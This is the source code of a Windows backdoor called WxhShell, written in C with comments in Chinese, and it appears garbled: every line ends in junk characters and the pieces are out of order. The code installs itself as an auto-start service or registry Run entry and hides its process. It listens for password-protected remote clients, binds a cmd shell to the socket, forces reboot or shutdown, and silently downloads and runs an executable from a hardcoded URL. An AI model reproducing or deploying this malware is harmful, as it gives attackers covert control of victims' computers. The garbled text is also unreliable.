    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]vvA]e  
    if(Boot(SHUTDOWN)) Sx'oa$J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eu'E;*- f  
    else { S.~L[iLc  
    closesocket(wsh); L"vrX  
    ExitThread(0); _ia&|#n  
    } Gd_0FF.  
    break; ,v K%e>e&  
    } {VW\EOPV~  
  // 获取shell Pz{MYw  
  case 's': { 4KtD  k  
    CmdShell(wsh); oI/_WY[t  
    closesocket(wsh); ][jwy-Uy;  
    ExitThread(0); ;_c&J&I  
    break;   8sG?|u  
  } [0y,K{8t  
  // 退出 |ymW0gh7o$  
  case 'x': { r9WR1&T)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Dg.~"h5mT  
    CloseIt(wsh); :_6o|9J\t  
    break; ,"is%O.  
    } kC%H E  
  // 离开 wGNE b  
  case 'q': { :rQDA =Ps  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eN.6l2-  
    closesocket(wsh); XYuX+&XW/  
    WSACleanup(); *6` ^8Y\  
    exit(1); jmwN1Se>  
    break; &uRT/+18W3  
        } P"^Yx8L#  
  } <q!HY~"V  
  } ,HTwEq>-G  
kD)31P  
  // 提示信息 mMwV5\(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pI-Qq%Nwt  
} U1y!R<qlp  
  } v1~l=^4&  
H`)eT6:|/  
  return; ocWl]h].  
} a<q9~QS  
,--#3+]XU  
// shell模块句柄 f}(4v1 T  
int CmdShell(SOCKET sock) @y7KP$t  
{ IC'+{3.m8  
STARTUPINFO si; F t11?D B  
ZeroMemory(&si,sizeof(si)); S/)),~`4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9;v3 (U+:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <Hr<QiAK  
PROCESS_INFORMATION ProcessInfo; #1E4 R}B  
char cmdline[]="cmd"; \Hrcf+`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y GOkqI  
  return 0; *sU,waX  
} >;,23X  
r4/b~n+*  
// 自身启动模式 !7I07~&1  
int StartFromService(void) "[~yu* S  
{ ]sb?lAxh{  
typedef struct 36(qe"s  
{ en'[_43  
  DWORD ExitStatus; &?bsBqpN  
  DWORD PebBaseAddress; ~/K&=xE  
  DWORD AffinityMask; NzyEsZ]$  
  DWORD BasePriority; "=s}xAM|A  
  ULONG UniqueProcessId; |Jd8ul:&e  
  ULONG InheritedFromUniqueProcessId; ^g6v#]&WA  
}   PROCESS_BASIC_INFORMATION; aSIb0`(3  
`oikSx$vB.  
PROCNTQSIP NtQueryInformationProcess; }|| p#R@?  
1/?Wa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q2ne]MI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \-]Jm[]^  
GBb8 }lx  
  HANDLE             hProcess; I\6C0x  
  PROCESS_BASIC_INFORMATION pbi; %/w-.?bX  
eR5q3E/;G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eC"e v5v  
  if(NULL == hInst ) return 0; O713'i  
,jC~U s<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )u Hat#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [>?|wQy>=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4z5qXI/<m4  
rhPv{6Z|7  
  if (!NtQueryInformationProcess) return 0; & n@hD7=(  
.jqil0#)Y"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]I,&Bme  
  if(!hProcess) return 0; :j3'+% '2  
;W5.g8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =@4 ,szLO  
_@XueNU1hS  
  CloseHandle(hProcess); yOlVS@7  
]@z!r2[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &77J,\C$:  
if(hProcess==NULL) return 0; w,j!%N  
n^;-&  
HMODULE hMod; {ObY1Y`ea  
char procName[255]; }rmr0Bh  
unsigned long cbNeeded; OXM=@B<"  
S;Sy.Lp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l H_pG~  
K\Q4u4DjbJ  
  CloseHandle(hProcess); %1k"K~eu  
| ;a$ l(~<  
if(strstr(procName,"services")) return 1; // 以服务启动 t'$_3ml  
#]c_ 2V  
  return 0; // 注册表启动 F-:AT$Ok  
} `$1A;wg<  
TxQsi"0c  
// 主模块 SHPDbBS  
int StartWxhshell(LPSTR lpCmdLine) X1B)(|7$  
{ (G+)v[f  
  SOCKET wsl; :^?-bppYW  
BOOL val=TRUE; tE-bHu370  
  int port=0; ]#shuZ##>0  
  struct sockaddr_in door; ,ov$` v  
OjffN'a+N  
  if(wscfg.ws_autoins) Install(); -:_3N2U=+  
/PaS <"<P@  
port=atoi(lpCmdLine); a U.3  
%u9 Q`  
if(port<=0) port=wscfg.ws_port; Mj>Q V(L8t  
e/ g9r  
  WSADATA data; 6bj77CoB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qmn l  
8SroA$^n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "kcix!}&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [Y`E"1f2  
  door.sin_family = AF_INET; lQ^"-zO4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *N ~'0"#  
  door.sin_port = htons(port); ~u0<c:C^  
Ew.6y=Ba  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {Q$8p2W  
closesocket(wsl); #lMIs4i.  
return 1; 8v/,< eARJ  
} MX#LtCG#V  
ZZkc) @  
  if(listen(wsl,2) == INVALID_SOCKET) { DS4y@,/)'  
closesocket(wsl); GKWsJO5 n  
return 1; +}udIi3:l  
} Qo3Enwap=  
  Wxhshell(wsl); GE] QRKf  
  WSACleanup(); N\]-/$z  
3dZj<(.  
return 0; p<D@l2vt  
X^&--@l}T!  
} R>Ox(MG  
um/F:rp  
// 以NT服务方式启动 [C-FJ>=S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GK6~~ga=  
{ @||nd,i`n~  
DWORD   status = 0; N@X6Z!EO  
  DWORD   specificError = 0xfffffff; It2:2  
{C]tS5$Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _Hx'<%hhI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TEer>gD:v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G,WLca[  
  serviceStatus.dwWin32ExitCode     = 0; 'HV@i)h0%V  
  serviceStatus.dwServiceSpecificExitCode = 0; x5g&?2[  
  serviceStatus.dwCheckPoint       = 0; 8]#J_|A6Z  
  serviceStatus.dwWaitHint       = 0; vY4}vHH2  
EUrIh2.Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3e-E/6zH6  
  if (hServiceStatusHandle==0) return; e+#k\x   
Ht}?=ZzW  
status = GetLastError(); v`Y{.>[H[  
  if (status!=NO_ERROR) Vy/G-IASb  
{ $mAyM+ ph[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h4ntjk|{i7  
    serviceStatus.dwCheckPoint       = 0; /9SoVU8  
    serviceStatus.dwWaitHint       = 0; \AI-x$5R*  
    serviceStatus.dwWin32ExitCode     = status; 7$0bgWi  
    serviceStatus.dwServiceSpecificExitCode = specificError; VL"Cxs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fO#nSB/ 8  
    return; :! $+dr(d  
  } VS`{k^^  
OqH3. @eK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 58mpW`Q  
  serviceStatus.dwCheckPoint       = 0; Z"Q9^;0%  
  serviceStatus.dwWaitHint       = 0; D\J.6W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sc-hO9~k  
} !H)!b#_  
l*CCnqE  
// 处理NT服务事件,比如:启动、停止 Z{ 9Io/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ($UUgjv F  
{ >^,?0HP  
switch(fdwControl) gCRPaF6  
{ ;2 ?fz@KZ  
case SERVICE_CONTROL_STOP: u+6L>7t88I  
  serviceStatus.dwWin32ExitCode = 0; D^s#pOZS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &>Z;>6J,  
  serviceStatus.dwCheckPoint   = 0; [\fwnS_1  
  serviceStatus.dwWaitHint     = 0; vaVV 1  
  { g%ys|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~-sG&u>  
  } M= 3w  
  return; j-i>Jd7  
case SERVICE_CONTROL_PAUSE: spQr1hx<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^)`e}}  
  break; 2"}Vfy  
case SERVICE_CONTROL_CONTINUE: !lZ}kz0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IY!8j$'|  
  break; 5D7k[+6  
case SERVICE_CONTROL_INTERROGATE: \?Xoa"^  
  break; h^,L) E  
}; b o_`P3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -I*vl  
} +4qR5(W  
>lJTS t5{  
// 标准应用程序主函数 eqOT@~H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TB<$9FCHK  
{ 9R-2\D]  
"8a ?K Q  
// 获取操作系统版本 ~`$P-^u88X  
OsIsNt=GetOsVer(); G~_D'o<r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %SCt_9u  
/#t::b+>x  
  // 从命令行安装 1@TL>jq  
  if(strpbrk(lpCmdLine,"iI")) Install(); /&czaAR-  
;Vf{3  
  // 下载执行文件 5vS[{;<&  
if(wscfg.ws_downexe) { tU!Yg"4Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fb[lL7  
  WinExec(wscfg.ws_filenam,SW_HIDE); Zrgv*  
} +.rOqkxJ  
G%!i="/9  
if(!OsIsNt) { {}RU'<D  
// 如果时win9x,隐藏进程并且设置为注册表启动 {z;K0  
HideProc(); 0#m=76[b  
StartWxhshell(lpCmdLine); 3=Uyt  
} A |U0e`Iw  
else nC?Lz1re  
  if(StartFromService()) VT~%);.#  
  // 以服务方式启动 dd +lQJ c  
  StartServiceCtrlDispatcher(DispatchTable); k#/cdK!K  
else #2Vq"Zn  
  // 普通方式启动 p)m5|GH24  
  StartWxhshell(lpCmdLine); >b:5&s\9  
*c$UIg  
return 0; mxpw4  
} DH i@ujr  
79o=HiOF99  
\W=Z`w3  
^;[_CF _  
=========================================== $Tt.r  
@W==)S%O  
:>H{?  
ug"4P.wI  
NMC0y|G  
V_n tS& 2o  
" cBOt=vg,5  
4? rEO(SZ  
#include <stdio.h> ,Qo:]Mj  
#include <string.h> :v$)Z~  
#include <windows.h> ,iZKw8]f  
#include <winsock2.h> d{B0a1P  
#include <winsvc.h> bcxR7<T,"9  
#include <urlmon.h> t56PzT'M  
{%&04yq+  
#pragma comment (lib, "Ws2_32.lib") S<i. O  
#pragma comment (lib, "urlmon.lib") 2#/sIu-L  
X(8LhsP  
#define MAX_USER   100 // 最大客户端连接数 nKEw$~F  
#define BUF_SOCK   200 // sock buffer +9yMtR  
#define KEY_BUFF   255 // 输入 buffer <F-IF7>a  
k;SKQN  
#define REBOOT     0   // 重启 %503 <j  
#define SHUTDOWN   1   // 关机 B T {cTj0W  
_~P &8  
#define DEF_PORT   5000 // 监听端口 k$DRX) e  
<QaUq `,  
#define REG_LEN     16   // 注册表键长度 mjk<FXW  
#define SVC_LEN     80   // NT服务名长度 ![]6| G&  
bwszfPM  
// 从dll定义API ]n:R#55A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i3$G)W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MhD=\Lpj\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z 9WeOs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c]$$ap  
J{XRltI+  
// wxhshell配置信息 I1K%n'D  
struct WSCFG { ^R(=4%8%"  
  int ws_port;         // 监听端口 $?[pcgv  
  char ws_passstr[REG_LEN]; // 口令 )U]q{0`  
  int ws_autoins;       // 安装标记, 1=yes 0=no :DuEv:;v  
  char ws_regname[REG_LEN]; // 注册表键名 ;/IX w>O(/  
  char ws_svcname[REG_LEN]; // 服务名 _t4(H))]vG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5 5Mtjqfp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o>&pj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z  fy(j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no INCD5dihJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Mdp'u$^!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~u[1Vz4#3  
j|p=JrCJ  
}; f%[xl6VE;  
i2[8^o`_  
// default Wxhshell configuration ,&* BhUC  
struct WSCFG wscfg={DEF_PORT, Y OvhMi  
    "xuhuanlingzhe", 2jkma :$'  
    1, a`eb9o#  
    "Wxhshell", bhsCeH  
    "Wxhshell", #~w~k+E4  
            "WxhShell Service", g~9b_PY9  
    "Wrsky Windows CmdShell Service", $d.Dk4.ed  
    "Please Input Your Password: ", >-w# &T &K  
  1, H_1&>@ 3  
  "http://www.wrsky.com/wxhshell.exe", &Rz-;66bN  
  "Wxhshell.exe" K&"X7fQ  
    }; OW!y7  
Df(+@L5!  
// 消息定义模块 SFFJyRCz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E4_,EeC#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L(1} PZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K]dR%j  
char *msg_ws_ext="\n\rExit."; :TV`uUE  
char *msg_ws_end="\n\rQuit."; LA/Qm/T  
char *msg_ws_boot="\n\rReboot..."; QXy= |  
char *msg_ws_poff="\n\rShutdown..."; ~9;udBfwF  
char *msg_ws_down="\n\rSave to "; fZnq5rTk"  
0[7"Lhpd  
char *msg_ws_err="\n\rErr!"; XCXX(8To0=  
char *msg_ws_ok="\n\rOK!"; "zqa:D26  
[l<&eI&ln  
char ExeFile[MAX_PATH]; A2P.5EN  
int nUser = 0; Cj YI *  
HANDLE handles[MAX_USER]; 2)QZYgfh  
int OsIsNt; 5rQu^6&  
KAu>U3\/  
SERVICE_STATUS       serviceStatus; >5 Y.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G2P:|R  
TDy$Mv=y  
// 函数声明 WWOjck #  
int Install(void); :j/sTO=  
int Uninstall(void); (>lH=&%zj  
int DownloadFile(char *sURL, SOCKET wsh); OcC|7s" ,  
int Boot(int flag); 'S&Zq:  
void HideProc(void); ={o)82LV  
int GetOsVer(void); r{Mn{1:O  
int Wxhshell(SOCKET wsl); um( xZ6&m  
void TalkWithClient(void *cs); OF-g7s6VH  
int CmdShell(SOCKET sock); IQ xi@7%&  
int StartFromService(void); J*Cf1 D5!  
int StartWxhshell(LPSTR lpCmdLine); O+[s4]  
Q=#FvsF#z3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); % ;a B#:p6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ho^jmp  
z*cKH$':  
// 数据结构和表定义 m)r,  
SERVICE_TABLE_ENTRY DispatchTable[] = RfT)dS+rAh  
{ y!q`o$nK  
{wscfg.ws_svcname, NTServiceMain}, Lnq CHe  
{NULL, NULL} eIhfhz?Q;#  
}; HJlxpX$_  
_|;{{8*?  
// 自我安装 z 8#{=e  
int Install(void) 7>AM zNj  
{ D^f;X.Qm  
  char svExeFile[MAX_PATH]; ,,7hVw  
  HKEY key; 4VC8#x1  
  strcpy(svExeFile,ExeFile); q_"w,28  
b"OHXu  
// 如果是win9x系统,修改注册表设为自启动 ?t/\ ID  
if(!OsIsNt) { m5, &;~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "QBl "<<s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p )WRsJ8  
  RegCloseKey(key); J90 )v7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ##Qy6Dc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X[SIk%{D  
  RegCloseKey(key); d-8{}Q  
  return 0; (''w$qq"D  
    } (io[O?te  
  } 4C*0MV  
} ,zZ@QW5  
else { ^a1k"|E?f  
z2#k /3%o=  
// 如果是NT以上系统,安装为系统服务 -*kZ2grLt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @,LU!#y(  
if (schSCManager!=0) I\IDt~  
{ FiXqypT_(  
  SC_HANDLE schService = CreateService F4ylD5Y!  
  ( x<.(fRv   
  schSCManager, ^}J,;Zhu5  
  wscfg.ws_svcname, .;(a;f+{;  
  wscfg.ws_svcdisp, 19%zcYTe  
  SERVICE_ALL_ACCESS, C3 BoH&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d vo|9 >  
  SERVICE_AUTO_START, lB!M;2^)X  
  SERVICE_ERROR_NORMAL, i8f+woZL  
  svExeFile, bh3yH>Zns  
  NULL, wT-K g=-q  
  NULL, 0}'/3Q  
  NULL, K%u>'W  
  NULL, v`p@djM  
  NULL +Z]}ce u"  
  ); DUg[L  
  if (schService!=0) w>'3}o(nY  
  { `91Z]zGpU  
  CloseServiceHandle(schService); Cj/!m  
  CloseServiceHandle(schSCManager); Mf7 [@#$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c}H}fyu%n  
  strcat(svExeFile,wscfg.ws_svcname); QC6QqcOX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]!s@FKC{;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b tbuE  
  RegCloseKey(key); z<J2e^j  
  return 0; RS@G.|  
    } :u)Qs#'29  
  } V0%a/Hi v  
  CloseServiceHandle(schSCManager); J5z\e@?.0\  
} >X=VPh8  
} /Kd'!lMuz  
Y)#,6\=U  
return 1; a :cfr*IsK  
} ]K%d   
,?+uQXfXR  
// 自我卸载 +I}!)$/  
int Uninstall(void) 0sCWIGU W  
{ }j!C+i  
  HKEY key; ZoCk]hk  
/-(OJN5F^  
if(!OsIsNt) { ,jl4W+s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vN~joQ=d  
  RegDeleteValue(key,wscfg.ws_regname); JgV4-B0  
  RegCloseKey(key); 9hJ a K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -M4VC^_  
  RegDeleteValue(key,wscfg.ws_regname); IIF <Zkpb  
  RegCloseKey(key); pOj8-rr  
  return 0; CBz=-Xr  
  } S,a:H*Hf  
} IOJLJ p  
} +k0UVZZX?  
else { }%^3  
c6iFha;db  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^g.H JQ'vF  
if (schSCManager!=0) P0k.\8qz  
{ Os!x<r|r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1@F>E;YjL=  
  if (schService!=0) X?(R!=a  
  { "I@akM$x  
  if(DeleteService(schService)!=0) { -KZ9TV # R  
  CloseServiceHandle(schService); u(PUbxJ V  
  CloseServiceHandle(schSCManager); xlh<}V tp  
  return 0; K~fWZT3]  
  } xU(b:D Z  
  CloseServiceHandle(schService); st>%U9  
  } g!)*CP#;  
  CloseServiceHandle(schSCManager); 5,\|XQA5!  
} E 5mYFVK  
} Q9Go}}n  
m6Qm }""  
return 1; Z|A+\#'  
} M<Y{Cs  
p<y \ ^a  
// 从指定url下载文件 p }Bh  
int DownloadFile(char *sURL, SOCKET wsh) g!z &lQnZ  
{ ,L-V?B(UQ  
  HRESULT hr; pIKfTkSqH  
char seps[]= "/"; 8x8nQ *_  
char *token; ll?Qg%V[t  
char *file; Nk1p)V SC  
char myURL[MAX_PATH]; PO|gM8E1x?  
char myFILE[MAX_PATH]; N(O* "1b  
NFf` V  
strcpy(myURL,sURL); 0W~1v  
  token=strtok(myURL,seps); L(C0236r  
  while(token!=NULL) f>m ! }F:  
  { _,f7D/dq  
    file=token; /03?(n= 3  
  token=strtok(NULL,seps); NL'(/|)  
  } {s=c!08=  
<S12=<c?'  
GetCurrentDirectory(MAX_PATH,myFILE); +F>erdV  
strcat(myFILE, "\\"); AXv-%k};  
strcat(myFILE, file); AE Abny q  
  send(wsh,myFILE,strlen(myFILE),0); V@\u<LO0G  
send(wsh,"...",3,0); c<{~j~+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cs[nFfM  
  if(hr==S_OK) *q@3yB}  
return 0; db>"2EE  
else klTRuU(  
return 1; cqcH1aSv  
oq,*@5xV2  
} &gI*[5v  
:w7?]y6~S  
// 系统电源模块 F| P?|  
int Boot(int flag) r&~]6 U  
{ Q@*9|6-  
  HANDLE hToken; ?!3u ?Kd  
  TOKEN_PRIVILEGES tkp; O8-Z >;  
a%QgL&_5  
  if(OsIsNt) { anORoK.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u]]mbER*t#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M[e^Z}w.V  
    tkp.PrivilegeCount = 1; JZE<oQ_Jm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gj&5>brP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); shiw;.vR{B  
if(flag==REBOOT) { %H3 iX^}*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UgOhx- 8  
  return 0; ziv+*Qn_b4  
} /74)c~.W  
else { Gsz$H_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]}.|b6\  
  return 0; ^Of\l:q*  
} g``S SU  
  } c4bvJy8  
  else { HaRx(p0  
if(flag==REBOOT) { om6`>I*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Vygh|UEo  
  return 0;  Gc;-zq  
} GKG:iR)  
else { +Q"XwxL<6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qVvnl  
  return 0; -WGlOpg0;  
} h|<;:o?yh  
} `6PBV+]Vm3  
4I.)>+8V  
return 1; 2/x~w~3U  
} Z`n "}{  
^}<]sjmk  
// win9x进程隐藏模块 C\0,D9  
void HideProc(void) >}d6)s|   
{ fr8';Jm  
@[Wf!8_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cVSns\QO  
  if ( hKernel != NULL ) GbvbGEG  
  { hK3Twzte  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8L`wib2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YI]/gWeu  
    FreeLibrary(hKernel); %2beoH'  
  } ;x/. 8fA  
9MbF:  
return; fS%B/h=  
} "Q{7X[$$^  
u=0161g  
// 获取操作系统版本 U?Vik  
int GetOsVer(void) ]UZP dw1D  
{ ghk"XJ|  
  OSVERSIONINFO winfo; }$ a *XY1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r/QI-Cf&  
  GetVersionEx(&winfo); I}awembw g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v(,YqT>q@U  
  return 1; {RD9j1  
  else f3<253 1/}  
  return 0; BiZYGq  
} tw] l  
dd4^4X`j  
// 客户端句柄模块 ho!qXS  
int Wxhshell(SOCKET wsl) C k/DV  
{ WJ\,Y} J  
  SOCKET wsh; {9~3y2:  
  struct sockaddr_in client; `Y, Rk  
  DWORD myID; NYR:dH]N~d  
r_o\72  
  while(nUser<MAX_USER) X#X/P  
{ )H&ZHaO,_  
  int nSize=sizeof(client); }x_:v!G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {H 3wL  
  if(wsh==INVALID_SOCKET) return 1; [5GzY`/m  
<B+ WM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;U?323Z  
if(handles[nUser]==0) rgEN~e'  
  closesocket(wsh); -JclEp  
else )?( _vrc<  
  nUser++; SN$3cg]z  
  } Q0L1!}w   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R,-DP/ (im  
<4I`|D3@  
  return 0; E:P_CDSd]  
} "a<:fEsSE  
C~M,N|m+^  
// 关闭 socket 6hHMxS^o  
void CloseIt(SOCKET wsh) ^vI`#}?  
{ w=~X6[+3  
closesocket(wsh); t*-_MG  
nUser--; 5K =>x<  
ExitThread(0); #z c$cr  
} 'Xasd3*Py  
-8S Z}J  
// 客户端请求句柄 >Hd!o"I  
void TalkWithClient(void *cs) hS^8/]E={  
{ c2PBYFCyC  
r6nWrO>y  
  SOCKET wsh=(SOCKET)cs; f2ck=3  
  char pwd[SVC_LEN]; m-Se-aF  
  char cmd[KEY_BUFF]; bc2S?u{  
char chr[1]; ^j1i CL!  
int i,j; P R_| 8H|  
v5W-f0Jo  
  while (nUser < MAX_USER) { j% '~l#nw  
NFf?~I&mfu  
if(wscfg.ws_passstr) { Uu|R]azbO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6)~7Uf:<v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &B$%|~Y5  
  //ZeroMemory(pwd,KEY_BUFF); d 0:;IUG  
      i=0; GwmYhG<{  
  while(i<SVC_LEN) { %~N| RSec  
\M*c3\&~,e  
  // 设置超时 YIHGXi<"n  
  fd_set FdRead; (?P\;yDG  
  struct timeval TimeOut; z/pxZ B ~"  
  FD_ZERO(&FdRead); 0 R>!jw  
  FD_SET(wsh,&FdRead); 6Zv-kG  
  TimeOut.tv_sec=8; eqyUI|e  
  TimeOut.tv_usec=0; 8P} a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T t$] [  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gc W'  
YOY2K%o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @680.+Kw  
  pwd=chr[0]; T~d_?UAw$  
  if(chr[0]==0xd || chr[0]==0xa) { UvL=^*tm  
  pwd=0; 2Xv$  
  break; 6<YAoo  
  } t]ID  
  i++; mwF{z.t"  
    } !" @<!  
S]gV!Q4%  
  // 如果是非法用户,关闭 socket <{z-<D;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N\fj[?f[  
} Wyb+K)Tg  
z#d*Odc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]5e|W Q>*X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zTw<9Nf  
.Z@iz5  
while(1) { @ b} -<~  
gdg "g6b  
  ZeroMemory(cmd,KEY_BUFF);  >Xxi2Vy  
R^yh,  
      // 自动支持客户端 telnet标准   43!E>mq  
  j=0; UDlM?r:f  
  while(j<KEY_BUFF) { TjjR% 3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i`!>zl+D  
  cmd[j]=chr[0]; xQNGlVipZ@  
  if(chr[0]==0xa || chr[0]==0xd) { p,3}A( >  
  cmd[j]=0; 352RJC  
  break; Dp?lgw  
  } ,S&p\(r.  
  j++; bMqFrG  
    } {wf5HA  
u/J1Z>0  
  // 下载文件 BoHNni  
  if(strstr(cmd,"http://")) { }RUK?:lEA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cEGR?4z  
  if(DownloadFile(cmd,wsh)) XM`&/)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B3E}fQm )  
  else )~ ^`[`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HcGbe37Xq  
